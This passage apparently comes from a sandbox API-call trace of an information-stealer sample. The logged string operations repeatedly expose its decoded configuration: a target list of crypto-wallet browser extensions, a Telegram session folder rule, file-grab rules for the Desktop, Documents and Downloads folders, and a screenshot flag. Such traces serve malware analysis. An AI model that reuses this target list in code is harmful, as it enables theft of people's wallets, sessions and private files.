Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3217 [0260.184] LocalAlloc (uFlags=0x40, uBytes=0x19a2) returned 0x6be2b0 [0260.184] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.185] LocalFree (hMem=0x6be2b0) returned 0x0 [0260.185] StrStrW (lpFirst="ews_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.185] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.185] LocalFree (hMem=0x6b9720) returned 0x0 [0260.186] LocalFree (hMem=0x6bb050) returned 0x0 [0260.186] LocalFree (hMem=0x6bc980) returned 0x0 [0260.186] StrStrW (lpFirst="ews_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.186] lstrlenW (lpString="ews_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3131 [0260.186] lstrlenW (lpString="ews_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3131 [0260.186] LocalAlloc (uFlags=0x40, uBytes=0x1876) returned 0x6b9720 [0260.186] lstrlenW (lpString="ews_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3131 [0260.186] LocalAlloc (uFlags=0x40, uBytes=0x1876) returned 0x6bafa0 [0260.186] lstrlenW (lpString="ews_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension 